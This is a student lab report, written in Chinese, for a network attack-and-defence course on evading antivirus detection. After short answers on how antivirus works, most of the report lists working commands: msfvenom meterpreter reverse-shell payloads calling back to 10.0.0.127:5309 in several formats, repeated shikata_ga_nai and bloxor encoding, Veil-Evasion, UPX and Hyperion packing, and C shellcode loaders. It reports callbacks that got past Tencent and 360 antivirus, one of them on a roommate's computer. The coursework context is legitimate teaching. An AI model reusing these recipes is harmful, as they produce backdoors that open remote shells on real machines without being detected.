20165309 《网络对抗技术》实验三:免杀原理与实践
1.基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征:恶意代码中一般会有一段特征码,如果杀软检测到有程序包含的特征码与它的特征码库的代码相匹配,就会把该程序当作恶意软件。
- 基于行为:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀软会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
(2)免杀是做什么?
- 通过一些特殊的手段,让安插的后门不被杀软检测到。
(3)免杀的基本方法有哪些?
- 加壳、用encode进行编码、基于payload重新编译生成可执行文件、用其他语言进行重写再编译(veil-evasion)、尽量使用反弹式连接、使用隧道技术、加密通讯数据、加入混淆作用的正常功能代码......
(4)开启杀软能绝对防止电脑中恶意代码吗?
- 做完本次实验就知道了这个问题的答案是不能。
2.实验总结与体会
(1)遇到的问题与解决
- 问题:安装veil-evasion后开机报错:
- 解决方案:打开虚拟机设置->处理器->检查下虚拟化引擎下面是否有被勾选->取消所有勾选->确定,再打开虚拟机就没事了~
(2)实验感受
本次实验中,对我来说最困难的两件事就是veil的安装和任务二的实现免杀T-T,其他内容按照实验指导都很容易理解和实现。实验告诉了我,杀软并不可信,有些后门程序可以躲过它们的检测并对我们产生威胁,所以安全意识至关重要。(PS.通过实验真心觉得查杀方和攻击方都挺不容易的。。)
3.实践过程记录
(0)准备工作
-
Kali的IP:10.0.0.127
-
安装Veil-Evasion,亲测克隆安装的成功率会大一些:
sudo apt-get -y install git //安装git git clone https://github.com/Veil-Framework/Veil-Evasion.git //git命令行下载Veil Evasion mv Veil-Evasion /opt //把它移动到opt目录下(可选) cd /opt/Veil-Evasion/ //进入Veil Evasion所在目录 bash setup/setup.sh -s //启动setup脚本开始安装
(1)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
① 正确使用msf编码器
- 使用指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 -f exe > 5309_backdoor.exe
生成后门程序。(同实验二) - 上传至http://www.virscan.org/来检测下有多少杀软可以将其查杀出来。
- 上传至https://www.virustotal.com/也检测一下。
- 可以看到,这种方式形成的后门免杀效果很差,所以,我们来尝试一下多次编码:
- 输入指令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=10.0.0.127 LPORT=5309 -f exe > 5309time10.exe
- 该指令中,
-e
选择要用的编码器,-i
用于设置编码次数,-b
设定payload中需要去除的字符。
- 输入指令:
- 再检测一下:
- 可见,多次编码并没有起到什么显著的效果,不能实现免杀。
② msfvenom生成如jar之类的其他文件
-
msfvenom生成jar文件
- 指令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 x> wsj_jar.jar
- 检测:
- 指令:
-
msfvenom生成python文件
-
指令:
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 -f raw > wsj_py.py
-
检测:
-
-
msfvenom生成php文件
- 指令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 x> wsj_php.php
- 检测:
- 指令:
③ veil-evasion
- 用
veil
->use evasion
进入Evil-Evasion配置界面:
- 设置反弹连接IP和端口:
- 输入generate生成文件,设置输出的payload名字:
- 它的路径是这个:
- 进行检测:
④ 加壳工具
-
压缩壳UPX
- 指令:
upx wsjpayload.exe -o wsjpayload.upxed.exe
- 检测:
- 指令:
-
加密壳Hyperion
- 将生成的upx文件拷贝到目录
/usr/share/windows-binaries/hyperion/
,并进入。 - 输入指令进行加壳:
wine hyperion.exe -v wsj_upxed.exe wsj_upxed_Hyperion.exe
- 检测:
- 将生成的upx文件拷贝到目录
-
加壳的免杀效果其实也很不理想,反而可能会因为壳的特征被更多杀软检测到。
⑤ 使用shellcode编程
- 使用msf生成一段c语言格式的shellcode数组:
msfvenom -p windows/meterpreter/reverse_http LHOST=10.0.0.127 LPORT=5309 -f c
- 代码:
- 交叉编译:
i686-w64-mingw32-g++ 5309.c -o 5309.exe
- 回连成功:
- 测试:
(2)通过组合应用各种技术实现恶意代码免杀
- 采用
加壳+迭代+C语言调用bloxor编码的shellcode
的方式免杀成功并可回连:- 生成Shellcode:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=10.0.0.127 LPORT=5309 -f c
; - 迭代,加压缩壳;
- 将加入Shellcode的c语言程序在vc下编译;
- 实现回连:
- 免杀效果:(Win7 x64+腾讯电脑管家13.3.20237.212)
- 生成Shellcode:
(3) 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- Win7 x64 + 360安全卫士11.5.0.2002
- 回连成功:
- 在舍友电脑上实现免杀: